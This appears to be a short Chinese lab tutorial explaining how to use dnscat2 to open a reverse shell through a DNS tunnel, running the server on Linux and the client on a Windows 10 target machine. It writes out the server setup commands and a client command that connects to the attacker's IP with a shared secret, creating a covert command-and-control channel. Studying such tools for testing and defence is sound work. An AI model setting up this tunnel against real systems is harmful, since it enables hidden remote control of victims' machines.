使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
c无序26 分钟前
【Linux】倒计时|进度条|git|gdb的实现
linux
无衣同学1 小时前
HCIP--<OSPF1>
运维·网络
qq_4924484461 小时前
python 拆分视频并且整合(速度慢,会保存每个分段视频)
开发语言·windows·python
GDAL1 小时前
深入解析Node.js中的new URL()构造函数:功能、属性、方法与使用技巧
linux·运维·node.js
优质&青年2 小时前
【云原生系列之SkyWalking的部署】
运维·云原生·云计算·skywalking
sangexinx2 小时前
docker 数据存储
linux
WKJay_2 小时前
Linux 常用命令 - lsblk 【查看磁盘(块设备)使用情况】
linux·服务器·windows
C-DHEnry2 小时前
技术献文-小白如何正确使用Linux(1-基础篇)
linux·运维·服务器
陈大爷(有低保)2 小时前
Linux终端命令
linux·运维·服务器
zhyjhacker2 小时前
windows 核心编程第五章:演示作业的使用及获取统计信息
windows